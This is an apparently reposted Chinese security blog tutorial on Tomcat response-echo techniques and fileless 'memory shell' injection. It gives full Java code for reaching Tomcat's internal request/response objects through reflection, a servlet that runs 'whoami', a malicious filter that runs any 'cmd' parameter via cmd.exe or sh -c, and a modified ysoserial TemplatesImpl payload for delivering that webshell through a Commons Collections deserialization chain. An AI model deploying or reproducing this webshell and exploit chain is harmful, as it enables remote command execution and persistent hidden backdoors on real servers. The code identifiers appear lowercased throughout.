欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页  >  IT编程

数据回显是什么意思(系统自动返显方法)

程序员文章站 2023-11-17 22:47:28
0x00 前言#按照我个人的理解来说其实只要能拿到request 和response对象即可进行回显的构造,当然这也是众多方式的一种。也是目前用的较多的方式。比如在tomcat 全局存储的reques...

0x00 前言#

按照我个人的理解来说其实只要能拿到request 和response对象即可进行回显的构造,当然这也是众多方式的一种。也是目前用的较多的方式。比如在tomcat 全局存储的request 和response对象,进行获取后则可以在tomcat这个容器下进行回显。而某些漏洞的方式会从漏洞的位置去寻找存储request 和response对象的地方。

0x01 tomcat通用回显#

根据litch1师傅的思路来寻找request,response对象全局存储的位置基于全局储存的新思路 | tomcat的一种通用回显方法研究

根据该文章思路得知,在tomcat启动的时候会调用该位置的dorun方法

数据回显是什么意思(系统自动返显方法)

由图可见,调用栈会来到创建http11processor对象这一步,http11processor继承abstractprocessor类。而abstractprocessor类中可见有request,response这两对象。并且为final修饰的,赋值后不可被更改。

数据回显是什么意思(系统自动返显方法)

那么此时我们只需要获取到这个http11processor对象即可获取到request,response。继续跟进查看http11processor对象在哪进行存储。

数据回显是什么意思(系统自动返显方法)

调用this.register将前面创建的http11processor对象进行传递。而后调用processor.getrequest().getrequestprocessor()获取requestinfo。

数据回显是什么意思(系统自动返显方法)

调用获取到的requestinfo,这里为rp。rp的setglobalprocessor将global进行传递,而setglobalprocessor方法里面会调用
global.addrequestprocessor将rp添加进去。

数据回显是什么意思(系统自动返显方法)

跟进进去发现,processors为一个arraylist,里面存储requestinfo类型的数据。

所以整体的思路下来我们需要获取abstractprotocol$connectionhandler类 -> 获取global变量 ->requestinfo->request–>response。

数据回显是什么意思(系统自动返显方法)

再往后需要寻找存储abstractprotocol类或继承abstractprotocol类的子类。

这里寻找到的是connector成员变量中为protocolhandler属性的值,而 http11aprprotocol类实现了该接口。

数据回显是什么意思(系统自动返显方法)

所以获取request的处理请求是

connector—>abstractprotocol$connectoinhandler—>global—>requestinfo—>request—>response

而在tomcat启动过程红会将connector放入service中。

数据回显是什么意思(系统自动返显方法)

而现在获取完成的流程是

standardservice—>connector—>abstractprotocol$connectoinhandler—>requestgroupinfo(global)–>requestinfo——->request——–>response

那么这时候如何获取standardservice成为了问题的一大关键。

文中给出的方法是从
thread.currentthread.getcontextclassloader()里面获取webappclassloaderbase,再获取上下文中的 standardservice。

最后调用链为

webappclassloaderbase —>

applicationcontext(getresources().getcontext()) —> standardservice—>connector—>abstractprotocol$connectoinhandler—>requestgroupinfo(global)—>requestinfo——->request——–>response

package com;

import org.apache.catalina.context;
import org.apache.catalina.service;
import org.apache.catalina.connector.connector;
import org.apache.catalina.core.applicationcontext;
import org.apache.catalina.core.standardcontext;
import org.apache.catalina.core.standardservice;
import org.apache.coyote.abstractprotocol;
import org.apache.coyote.requestgroupinfo;
import org.apache.coyote.requestinfo;
import org.apache.coyote.response;

import javax.servlet.servletcontext;
import javax.servlet.servletexception;
import javax.servlet.annotation.webservlet;
import javax.servlet.http.httpservlet;
import javax.servlet.http.httpservletrequest;
import javax.servlet.http.httpservletresponse;
import java.io.ioexception;
import java.lang.reflect.constructor;
import java.lang.reflect.field;
import java.lang.reflect.invocationtargetexception;
import java.lang.reflect.modifier;
import java.util.arraylist;

@webservlet("/demoservlet")
public class demoservlet extends httpservlet {
    protected void dopost(httpservletrequest request, httpservletresponse response) throws servletexception, ioexception {

        org.apache.catalina.loader.webappclassloaderbase webappclassloaderbase = (org.apache.catalina.loader.webappclassloaderbase) thread.currentthread().getcontextclassloader();
        standardcontext standardcontext = (standardcontext) webappclassloaderbase.getresources().getcontext();

        try {
            field context = class.forname("org.apache.catalina.core.standardcontext").getdeclaredfield("context");
            context.setaccessible(true);
            applicationcontext applicationcontext = (applicationcontext)context.get(standardcontext);
            field service = class.forname("org.apache.catalina.core.applicationcontext").getdeclaredfield("service");
            service.setaccessible(true);
            standardservice standardservice = (standardservice)service.get(applicationcontext);
            field connectors = class.forname("org.apache.catalina.core.standardservice").getdeclaredfield("connectors");
            connectors.setaccessible(true);
            connector[] connector = (connector[])connectors.get(standardservice);
            field protocolhandler = class.forname("org.apache.catalina.connector.connector").getdeclaredfield("protocolhandler");
            protocolhandler.setaccessible(true);
//            abstractprotocol abstractprotocol = (abstractprotocol)protocolhandler.get(connector[0]);


            class<?>[] abstractprotocol_list = class.forname("org.apache.coyote.abstractprotocol").getdeclaredclasses();

            for (class<?> aclass : abstractprotocol_list) {
                if (aclass.getname().length()==52){

                    java.lang.reflect.method gethandlermethod = org.apache.coyote.abstractprotocol.class.getdeclaredmethod("gethandler",null);
                    gethandlermethod.setaccessible(true);

                    field globalfield = aclass.getdeclaredfield("global");
                    globalfield.setaccessible(true);
                    org.apache.coyote.requestgroupinfo requestgroupinfo = (org.apache.coyote.requestgroupinfo) globalfield.get(gethandlermethod.invoke(connector[0].getprotocolhandler(), null));
                    field processors = class.forname("org.apache.coyote.requestgroupinfo").getdeclaredfield("processors");
                    processors.setaccessible(true);
                    java.util.list<requestinfo> requestinfo_list = (java.util.list<requestinfo>) processors.get(requestgroupinfo);
                    field req = class.forname("org.apache.coyote.requestinfo").getdeclaredfield("req");
                    req.setaccessible(true);
                    for (requestinfo requestinfo : requestinfo_list) {



                        org.apache.coyote.request request1 = (org.apache.coyote.request )req.get(requestinfo);


                        org.apache.catalina.connector.request request2 = ( org.apache.catalina.connector.request)request1.getnote(1);
                        org.apache.catalina.connector.response response2 = request2.getresponse();
                        response2.getwriter().write("111");


                    }
                }
            }


        } catch (nosuchfieldexception e) {
            e.printstacktrace();
        } catch (classnotfoundexception e) {
            e.printstacktrace();
        } catch (illegalaccessexception e) {
            e.printstacktrace();
        } catch (nosuchmethodexception e) {
            e.printstacktrace();
        } catch (invocationtargetexception e) {
            e.printstacktrace();
        }


    }

    protected void doget(httpservletrequest request, httpservletresponse response) throws servletexception, ioexception {
        this.dopost(request, response);
    }
}
数据回显是什么意思(系统自动返显方法)

这里是借助了获取到的request和response来输出结果。再来修改一下代码。

package com;

import org.apache.catalina.context;
import org.apache.catalina.service;
import org.apache.catalina.connector.connector;
import org.apache.catalina.core.applicationcontext;
import org.apache.catalina.core.standardcontext;
import org.apache.catalina.core.standardservice;
import org.apache.coyote.abstractprotocol;
import org.apache.coyote.requestgroupinfo;
import org.apache.coyote.requestinfo;
import org.apache.coyote.response;

import javax.servlet.servletcontext;
import javax.servlet.servletexception;
import javax.servlet.annotation.webservlet;
import javax.servlet.http.httpservlet;
import javax.servlet.http.httpservletrequest;
import javax.servlet.http.httpservletresponse;
import java.io.bufferedinputstream;
import java.io.bufferedoutputstream;
import java.io.ioexception;
import java.io.inputstream;
import java.lang.reflect.constructor;
import java.lang.reflect.field;
import java.lang.reflect.invocationtargetexception;
import java.lang.reflect.modifier;
import java.util.arraylist;

@webservlet("/demoservlet")
public class demoservlet extends httpservlet {
    protected void dopost(httpservletrequest request, httpservletresponse response) throws servletexception, ioexception {

        org.apache.catalina.loader.webappclassloaderbase webappclassloaderbase = (org.apache.catalina.loader.webappclassloaderbase) thread.currentthread().getcontextclassloader();
        standardcontext standardcontext = (standardcontext) webappclassloaderbase.getresources().getcontext();

        try {
            field context = class.forname("org.apache.catalina.core.standardcontext").getdeclaredfield("context");
            context.setaccessible(true);
            applicationcontext applicationcontext = (applicationcontext)context.get(standardcontext);
            field service = class.forname("org.apache.catalina.core.applicationcontext").getdeclaredfield("service");
            service.setaccessible(true);
            standardservice standardservice = (standardservice)service.get(applicationcontext);
            field connectors = class.forname("org.apache.catalina.core.standardservice").getdeclaredfield("connectors");
            connectors.setaccessible(true);
            connector[] connector = (connector[])connectors.get(standardservice);
            field protocolhandler = class.forname("org.apache.catalina.connector.connector").getdeclaredfield("protocolhandler");
            protocolhandler.setaccessible(true);
//            abstractprotocol abstractprotocol = (abstractprotocol)protocolhandler.get(connector[0]);


            class<?>[] abstractprotocol_list = class.forname("org.apache.coyote.abstractprotocol").getdeclaredclasses();

            for (class<?> aclass : abstractprotocol_list) {
                if (aclass.getname().length()==52){

                    java.lang.reflect.method gethandlermethod = org.apache.coyote.abstractprotocol.class.getdeclaredmethod("gethandler",null);
                    gethandlermethod.setaccessible(true);

                    field globalfield = aclass.getdeclaredfield("global");
                    globalfield.setaccessible(true);
                    org.apache.coyote.requestgroupinfo requestgroupinfo = (org.apache.coyote.requestgroupinfo) globalfield.get(gethandlermethod.invoke(connector[0].getprotocolhandler(), null));
                    field processors = class.forname("org.apache.coyote.requestgroupinfo").getdeclaredfield("processors");
                    processors.setaccessible(true);
                    java.util.list<requestinfo> requestinfo_list = (java.util.list<requestinfo>) processors.get(requestgroupinfo);
                    field req = class.forname("org.apache.coyote.requestinfo").getdeclaredfield("req");
                    req.setaccessible(true);
                    for (requestinfo requestinfo : requestinfo_list) {



                        org.apache.coyote.request request1 = (org.apache.coyote.request )req.get(requestinfo);


                        org.apache.catalina.connector.request request2 = ( org.apache.catalina.connector.request)request1.getnote(1);
                        org.apache.catalina.connector.response response2 = request2.getresponse();
                        response2.getwriter().write("111");
                        inputstream whoami = runtime.getruntime().exec("whoami").getinputstream();
//                        bufferedinputstream bufferedinputstream = new bufferedinputstream(whoami);


                        bufferedinputstream bis = new bufferedinputstream(whoami);


                        int b ;
                        while ((b = bis.read())!=-1){
                            response2.getwriter().write(b);
                        }



                    }
                }
            }







        } catch (nosuchfieldexception e) {
            e.printstacktrace();
        } catch (classnotfoundexception e) {
            e.printstacktrace();
        } catch (illegalaccessexception e) {
            e.printstacktrace();
        } catch (nosuchmethodexception e) {
            e.printstacktrace();
        } catch (invocationtargetexception e) {
            e.printstacktrace();
        }


    }

    protected void doget(httpservletrequest request, httpservletresponse response) throws servletexception, ioexception {
        this.dopost(request, response);
    }
}

数据回显是什么意思(系统自动返显方法)

将命令执行结果使用获取到的request和response来输出。

坑点记录#

  1. 开始想直接获取内部类发现思路不通,后来采用getdeclaredclasses方法获取某类中所有内部的内部类遍历,判断类名传递定位到该类。
  2. 获取global遍历的时候出现了巨坑,直接反射去获取。但是未意识到创建是一个class对象,反射使用get方法必须传递实例。
  3. 获取到request需要调用request.getnote(1);转换为org.apache.catalina.connector.request的对象。
  4. fanal修饰变量,需做修改,直接获取报错。
通过调用 org.apache.coyote.request#getnote(adapter_notes) 和 org.apache.coyote.response#getnote(adapter_notes) 来获取 org.apache.catalina.connector.request 和 org.apache.catalina.connector.response 对象

文章链接

0x02 tomcat半通用回显#

基于tomcat中一种半通用回显方法该篇文来调试一下。

根据前文思路顺着堆栈一路向下查看request和response存储位置,只要获取到一个实例即可。

顺着思路,在
org.apache.catalina.core.applicationfilterchain位置发现符合条件的变量。

数据回显是什么意思(系统自动返显方法)

下面寻找赋值位置,发现在这个位置对request,response进行实例的存储。但是默认为false

数据回显是什么意思(系统自动返显方法)

思路如下:

1、反射修改
applicationdispatcher.wrap_same_object,让代码逻辑走到if条件里面

2、初始化lastservicedrequest和lastservicedresponse两个变量,默认为null

3、从lastservicedresponse中获取当前请求response,并且回显内容。

自己尝试构造了一下

package com;

import javax.servlet.servletexception;
import javax.servlet.servletrequest;
import javax.servlet.servletresponse;
import javax.servlet.annotation.webservlet;
import javax.servlet.http.httpservlet;
import javax.servlet.http.httpservletrequest;
import javax.servlet.http.httpservletresponse;
import java.io.ioexception;
import java.lang.reflect.field;
import java.lang.reflect.modifier;

@webservlet("/testservlet")
public class testservlet extends httpservlet {
    protected void dopost(httpservletrequest request, httpservletresponse response) {
        try {
            field wrap_same_object = class.forname("org.apache.catalina.core.applicationdispatcher").getdeclaredfield("wrap_same_object");
            field lastservicedrequest = class.forname("org.apache.catalina.core.applicationfilterchain").getdeclaredfield("lastservicedrequest");
            field lastservicedresponse = class.forname("org.apache.catalina.core.applicationfilterchain").getdeclaredfield("lastservicedresponse");
            lastservicedrequest.setaccessible(true);
            lastservicedresponse.setaccessible(true);
            wrap_same_object.setaccessible(true);
            //修改final
            field modifiersfield = field.class.getdeclaredfield("modifiers");
            modifiersfield.setaccessible(true);
            modifiersfield.setint(wrap_same_object, wrap_same_object.getmodifiers() & ~modifier.final);
            modifiersfield.setint(lastservicedrequest, lastservicedrequest.getmodifiers() & ~modifier.final);
            modifiersfield.setint(lastservicedresponse, lastservicedresponse.getmodifiers() & ~modifier.final);

            boolean wrap_same_object1 = wrap_same_object.getboolean(null);
            threadlocal<servletrequest> requestthreadlocal = (threadlocal<servletrequest>)lastservicedrequest.get(null);
            threadlocal<servletresponse> responsethreadlocal = (threadlocal<servletresponse>)lastservicedresponse.get(null);

            wrap_same_object.setboolean(null,true);
            lastservicedrequest.set(null,new threadlocal<>());
            lastservicedresponse.set(null,new threadlocal<>());
            servletresponse servletresponse = responsethreadlocal.get();
            servletresponse.getwriter().write("111");

        } catch (exception e) {
            e.printstacktrace();
        }
    }



    protected void doget(httpservletrequest request, httpservletresponse response) throws servletexception, ioexception {
        this.dopost(request, response);

    }
}

同理,可集成到yso中,反序列化命令执行结果借助该servletresponse。

数据回显是什么意思(系统自动返显方法)

局限#

在shiro反序列化漏洞的利用中并不能成功,发现request,response的设置是在漏洞触发点之后,所以在触发漏洞执行任意java代码时获取不到我们想要的response。其原因是因为rememberme功能的实现是使用了自己实现的filter。

0x03 内存马构造#

前文的基于tomcat实现内存马中只是借助servlet直接去进行动态添加filter实现内存马。而实际当中还是需要借助反序列化点来直接打入内存马。

下面再来构造一个完整的。

获取到applicationcontext调用addfilter方法直接将恶意filter添加进去发现并不行。

applicationcontext.addfilter(filtername,new shellintinject());
数据回显是什么意思(系统自动返显方法)

断点处进行了判断,条件为true,会直接抛出异常。而这时候可以借助反射去进行修改。

数据回显是什么意思(系统自动返显方法)
field state = class.forname("org.apache.catalina.util.lifecyclebase").getdeclaredfield("state");
                state.setaccessible(true);
                state.set(standardcontext,org.apache.catalina.lifecyclestate.starting_prep);

修改完成后,再来看到addfilter中,
this.context.findfilterdef也就是寻找standardcontext中的filterdef,所以我们需要添加到filterconfigs、filterdefs、filtermaps。

在添加filter前,通过反射设置成
lifecyclestate.starting_prep,添加完成后,再把其恢复成lifecyclestate.starte,需要恢复,否则可能导致服务不可用。

数据回显是什么意思(系统自动返显方法)
//添加拦截路径,实现是将存储写入到filtermap中
registration.addmappingforurlpatterns(java.util.enumset.of(javax.servlet.dispatchertype.request), false,new string[]{"/*"});

后面再来看到standardcontext 中filterstart方法会遍历所有filterdefs实例化applicationfilterconfig添加到filterconfigs中

this.filterconfigs.clear();
            iterator i$ = this.filterdefs.entryset().iterator();
            while(i$.hasnext()) {
                entry<string, filterdef> entry = (entry)i$.next();
                string name = (string)entry.getkey();
                if (this.getlogger().isdebugenabled()) {
                    this.getlogger().debug(" starting filter '" + name + "'");
                }

                try {
                    applicationfilterconfig filterconfig = new applicationfilterconfig(this, (filterdef)entry.getvalue());
                    this.filterconfigs.put(name, filterconfig);
                } catch (throwable var8) {
                    throwable t = exceptionutils.unwrapinvocationtargetexception(var8);
                    exceptionutils.handlethrowable(t);
                    this.getlogger().error(sm.getstring("standardcontext.filterstart", new object[]{name}), t);
                    ok = false;
                }
            }
            return ok;
        }
    }

前面我们的调用addfilter方法的时候已经将 对应的filterdef给添加进去,我们只需要调用该方法即可实现filterconfig的添加。

 //调用filterstart方法将filterconfig进行添加
                method filterstart = class.forname("org.apache.catalina.core.standardcontext").getmethod("filterstart");
                filterstart.setaccessible(true);
                filterstart.invoke(standardcontext,null);

最后,需要将filter位置进行调整。

数据回显是什么意思(系统自动返显方法)
数据回显是什么意思(系统自动返显方法)

在调试中途,部分代码抛出异常并没有直接执行state.set(standardcontext,
org.apache.catalina.lifecyclestate.started);会导致tomcat直接503。无法进行正常访问,需重启。

完整代码#

package com;

import org.apache.catalina.core.applicationcontext;
import org.apache.catalina.core.standardcontext;
import org.apache.tomcat.util.descriptor.web.filtermap;

import javax.servlet.*;
import javax.servlet.annotation.webservlet;
import javax.servlet.http.httpservlet;
import javax.servlet.http.httpservletrequest;
import javax.servlet.http.httpservletresponse;
import java.io.bufferedinputstream;
import java.io.ioexception;
import java.io.inputstream;
import java.lang.reflect.field;
import java.lang.reflect.method;
import java.lang.reflect.modifier;

@webservlet("/testservlet")
public class testservlet extends httpservlet {
    private final string cmdparamname = "cmd";
    private final static string filterurlpattern = "/*";
    private final static string filtername = "cmdfilter";

    protected void dopost(httpservletrequest request, httpservletresponse response) {
        try {
            field wrap_same_object = class.forname("org.apache.catalina.core.applicationdispatcher").getdeclaredfield("wrap_same_object");
            field lastservicedrequest = class.forname("org.apache.catalina.core.applicationfilterchain").getdeclaredfield("lastservicedrequest");
            field lastservicedresponse = class.forname("org.apache.catalina.core.applicationfilterchain").getdeclaredfield("lastservicedresponse");
            lastservicedrequest.setaccessible(true);
            lastservicedresponse.setaccessible(true);
            wrap_same_object.setaccessible(true);
            //修改final
            field modifiersfield = field.class.getdeclaredfield("modifiers");
            modifiersfield.setaccessible(true);
            modifiersfield.setint(wrap_same_object, wrap_same_object.getmodifiers() & ~modifier.final);
            modifiersfield.setint(lastservicedrequest, lastservicedrequest.getmodifiers() & ~modifier.final);
            modifiersfield.setint(lastservicedresponse, lastservicedresponse.getmodifiers() & ~modifier.final);

            boolean wrap_same_object1 = wrap_same_object.getboolean(null);
            threadlocal<servletrequest> requestthreadlocal = (threadlocal<servletrequest>)lastservicedrequest.get(null);
            threadlocal<servletresponse> responsethreadlocal = (threadlocal<servletresponse>)lastservicedresponse.get(null);

            wrap_same_object.setboolean(null,true);
            lastservicedrequest.set(null,new threadlocal<>());
            lastservicedresponse.set(null,new threadlocal<>());
            servletresponse servletresponse = responsethreadlocal.get();
            servletrequest servletrequest = requestthreadlocal.get();
            servletcontext servletcontext = servletrequest.getservletcontext();  //这里实际获取到的是applicationcontextfacade
            if (servletcontext!=null) {
                //编写恶意filter
                class shellintinject implements javax.servlet.filter{

                    @override
                    public void init(filterconfig filterconfig) throws servletexception {

                    }

                    @override
                    public void dofilter(servletrequest servletrequest, servletresponse servletresponse, filterchain filterchain) throws ioexception, servletexception {
                        system.out.println("s");
                        string cmd = servletrequest.getparameter(cmdparamname);
                        if(cmd!=null) {
                            string[] cmds = null;

                            if (system.getproperty("os.name").tolowercase().contains("win")) {
                                cmds = new string[]{"cmd.exe", "/c", cmd};
                            } else {
                                cmds = new string[]{"sh", "-c", cmd};
                            }

                            java.io.inputstream in = runtime.getruntime().exec(cmds).getinputstream();
                            java.util.scanner s = new java.util.scanner(in).usedelimiter("\a");
                            string output = s.hasnext() ? s.next() : "";
                            java.io.writer writer = servletresponse.getwriter();
                            writer.write(output);
                            writer.flush();
                            writer.close();
                        }
                        filterchain.dofilter(request, response);
                    }

                    @override
                    public void destroy() {

                    }
                }
                    //获取applicationcontext
                field context = servletcontext.getclass().getdeclaredfield("context");
                context.setaccessible(true);
                applicationcontext applicationcontext = (applicationcontext)context.get(servletcontext);
                //获取standardcontext
                field context1 = applicationcontext.getclass().getdeclaredfield("context");
                context1.setaccessible(true);
                standardcontext standardcontext = (standardcontext) context1.get(applicationcontext);
                //获取lifecyclebase的state修改为org.apache.catalina.lifecyclestate.starting_prep
                field state = class.forname("org.apache.catalina.util.lifecyclebase").getdeclaredfield("state");
                state.setaccessible(true);
                state.set(standardcontext,org.apache.catalina.lifecyclestate.starting_prep);
                //注册filtername
                filterregistration.dynamic registration = applicationcontext.addfilter(filtername, new shellintinject());
                //添加拦截路径,实现是将存储写入到filtermap中
                registration.addmappingforurlpatterns(java.util.enumset.of(javax.servlet.dispatchertype.request), false,new string[]{"/*"});
                //调用filterstart方法将filterconfig进行添加
                method filterstart = class.forname("org.apache.catalina.core.standardcontext").getmethod("filterstart");
                filterstart.setaccessible(true);
                filterstart.invoke(standardcontext,null);
                //移动filter为位置到前面
                filtermap[] filtermaps = standardcontext.findfiltermaps();
                for (int i = 0; i < filtermaps.length; i++) {
                    if (filtermaps[i].getfiltername().equalsignorecase(filtername)) {
                        org.apache.tomcat.util.descriptor.web.filtermap filtermap = filtermaps[i];
                        filtermaps[i] = filtermaps[0];
                        filtermaps[0] = filtermap;
                        break;
                    }
                }
                servletresponse.getwriter().write("success");
                state.set(standardcontext,org.apache.catalina.lifecyclestate.started);


            }

        } catch (exception e) {
            e.printstacktrace();
        }

    }



    protected void doget(httpservletrequest request, httpservletresponse response) throws servletexception, ioexception {
        this.dopost(request, response);

    }
}

但这并未完,虽然我们借助了代码执行获取到request和response后构造内存马。但是仍需要修改代码,将代码集成到yso中后,以供反序列化攻击使用。

0x04 改造yso#

将前面代码扣下来,并且继承abstracttranslet,后面需要使用templatesimpl类去动态加载该类。

package ysoserial.exploit;

import com.sun.org.apache.xalan.internal.xsltc.dom;
import com.sun.org.apache.xalan.internal.xsltc.transletexception;
import com.sun.org.apache.xalan.internal.xsltc.runtime.abstracttranslet;
import com.sun.org.apache.xml.internal.dtm.dtmaxisiterator;
import com.sun.org.apache.xml.internal.serializer.serializationhandler;
import org.apache.catalina.core.applicationcontext;
import org.apache.catalina.core.standardcontext;
import org.apache.tomcat.util.descriptor.web.filtermap;

import javax.servlet.*;
import java.io.ioexception;
import java.lang.reflect.field;
import java.lang.reflect.method;
import java.lang.reflect.modifier;

public class tomcatshellintinject extends abstracttranslet {
    private final static string cmdparamname = "cmd";
    private final static string filterurlpattern = "/*";
    private final static string filtername = "cmdfilter";

    static {
        try {
            field wrap_same_object = class.forname("org.apache.catalina.core.applicationdispatcher").getdeclaredfield("wrap_same_object");
            field lastservicedrequest = class.forname("org.apache.catalina.core.applicationfilterchain").getdeclaredfield("lastservicedrequest");
            field lastservicedresponse = class.forname("org.apache.catalina.core.applicationfilterchain").getdeclaredfield("lastservicedresponse");
            lastservicedrequest.setaccessible(true);
            lastservicedresponse.setaccessible(true);
            wrap_same_object.setaccessible(true);
            //修改final
            field modifiersfield = field.class.getdeclaredfield("modifiers");
            modifiersfield.setaccessible(true);
            modifiersfield.setint(wrap_same_object, wrap_same_object.getmodifiers() & ~modifier.final);
            modifiersfield.setint(lastservicedrequest, lastservicedrequest.getmodifiers() & ~modifier.final);
            modifiersfield.setint(lastservicedresponse, lastservicedresponse.getmodifiers() & ~modifier.final);

            boolean wrap_same_object1 = wrap_same_object.getboolean(null);
            threadlocal<servletrequest> requestthreadlocal = (threadlocal<servletrequest>) lastservicedrequest.get(null);
            threadlocal<servletresponse> responsethreadlocal = (threadlocal<servletresponse>) lastservicedresponse.get(null);

            wrap_same_object.setboolean(null, true);
            lastservicedrequest.set(null, new threadlocal<servletrequest>());
            lastservicedresponse.set(null, new threadlocal<servletresponse>());
            servletresponse servletresponse = responsethreadlocal.get();
            servletrequest servletrequest = requestthreadlocal.get();
            servletcontext servletcontext = servletrequest.getservletcontext();  //这里实际获取到的是applicationcontextfacade
            if (servletcontext != null) {
                //编写恶意filter
                class shellintinject implements filter {

                    @override
                    public void init(filterconfig filterconfig) throws servletexception {

                    }

                    @override
                    public void dofilter(servletrequest servletrequest, servletresponse servletresponse, filterchain filterchain) throws ioexception, servletexception {

                        string cmd = servletrequest.getparameter(cmdparamname);
                        if (cmd != null) {
                            string[] cmds = null;

                            if (system.getproperty("os.name").tolowercase().contains("win")) {
                                cmds = new string[]{"cmd.exe", "/c", cmd};
                            } else {
                                cmds = new string[]{"sh", "-c", cmd};
                            }

                            java.io.inputstream in = runtime.getruntime().exec(cmds).getinputstream();
                            java.util.scanner s = new java.util.scanner(in).usedelimiter("\a");
                            string output = s.hasnext() ? s.next() : "";
                            java.io.writer writer = servletresponse.getwriter();
                            writer.write(output);
                            writer.flush();
                            writer.close();
                        }
                        filterchain.dofilter(servletrequest, servletresponse);
                    }

                    @override
                    public void destroy() {

                    }
                }
                //获取applicationcontext
                field context = servletcontext.getclass().getdeclaredfield("context");
                context.setaccessible(true);
                applicationcontext applicationcontext = (applicationcontext) context.get(servletcontext);
                //获取standardcontext
                field context1 = applicationcontext.getclass().getdeclaredfield("context");
                context1.setaccessible(true);
                standardcontext standardcontext = (standardcontext) context1.get(applicationcontext);
                //获取lifecyclebase的state修改为org.apache.catalina.lifecyclestate.starting_prep
                field state = class.forname("org.apache.catalina.util.lifecyclebase").getdeclaredfield("state");
                state.setaccessible(true);
                state.set(standardcontext, org.apache.catalina.lifecyclestate.starting_prep);
                //注册filtername
                filterregistration.dynamic registration = applicationcontext.addfilter(filtername, new shellintinject());
                //添加拦截路径,实现是将存储写入到filtermap中
                registration.addmappingforurlpatterns(java.util.enumset.of(dispatchertype.request), false, new string[]{filterurlpattern});
                //调用filterstart方法将filterconfig进行添加
                method filterstart = class.forname("org.apache.catalina.core.standardcontext").getmethod("filterstart");
                filterstart.setaccessible(true);
                filterstart.invoke(standardcontext, null);
                //移动filter为位置到前面
                filtermap[] filtermaps = standardcontext.findfiltermaps();
                for (int i = 0; i < filtermaps.length; i++) {
                    if (filtermaps[i].getfiltername().equalsignorecase(filtername)) {
                        org.apache.tomcat.util.descriptor.web.filtermap filtermap = filtermaps[i];
                        filtermaps[i] = filtermaps[0];
                        filtermaps[0] = filtermap;
                        break;
                    }
                }
                servletresponse.getwriter().write("success");
                state.set(standardcontext, org.apache.catalina.lifecyclestate.started);


            }

        } catch (exception e) {
            e.printstacktrace();
        }

    }

    @override
    public void transform(dom document, serializationhandler[] handlers) throws transletexception {

    }

    @override
    public void transform(dom document, dtmaxisiterator iterator, serializationhandler handler) throws transletexception {

    }
}




yso中createtemplatesimpl稍做修改

public static object createtemplatesimpl_shell ( final string command ) throws exception {
        if ( boolean.parseboolean(system.getproperty("properxalan", "false")) ) {
            return createtemplatesimpl(
                command,
                class.forname("org.apache.xalan.xsltc.trax.templatesimpl"),
                class.forname("org.apache.xalan.xsltc.runtime.abstracttranslet"),
                class.forname("org.apache.xalan.xsltc.trax.transformerfactoryimpl"));
        }

        return createtemplatesimpl_shell(command, templatesimpl.class, abstracttranslet.class, transformerfactoryimpl.class);
    }
    public static <t> t createtemplatesimpl_shell ( final string command, class<t> tplclass, class<?> absttranslet, class<?> transfactory )
        throws exception {
        final t templates = tplclass.newinstance();

        // use template gadget class
        classpool pool = classpool.getdefault();
        pool.insertclasspath(new classclasspath(stubtransletpayload.class));
        pool.insertclasspath(new classclasspath(absttranslet));
        final ctclass clazz = pool.get(stubtransletpayload.class.getname());

        final byte[]  classbytes = classfiles.classasbytes(tomcatshellintinject.class);
//        final byte[] classbytes = clazz.tobytecode();

        // inject class bytes into instance
        reflections.setfieldvalue(templates, "_bytecodes", new byte[][] {
            classbytes, classfiles.classasbytes(foo.class)
        });

        // required to make templatesimpl happy
        reflections.setfieldvalue(templates, "_name", "pwnr");
        reflections.setfieldvalue(templates, "_tfactory", transfactory.newinstance());
        return templates;
    }

这里拿cc2链来测试,复制cc2链代码。将getobject方法修改

final object templates = gadgets.createtemplatesimpl_shell(command);

github:https://github.com/nice0e3/ysoserial-master

0x05 reference#

基于全局储存的新思路 | tomcat的一种通用回显方法研究

tomcat中一种半通用回显方法

基于tomcat的内存 webshell 无文件攻击技术

java web代码执行漏洞回显总结

shiro 550 漏洞学习 (二):内存马注入及回显

0x06 结尾#

说到底,其实中间件回显就是获取request 和response对象,拿到以后借助拿到的request 和response对象进行回显,而内存马则是使用获取到的这两对象从而获取到context进行动态添加filter。而文中并没有去实现冰蝎等内存shell,而只实现了一个cmd的shell。同理,只需将恶意fliter修改成冰蝎的shell即可。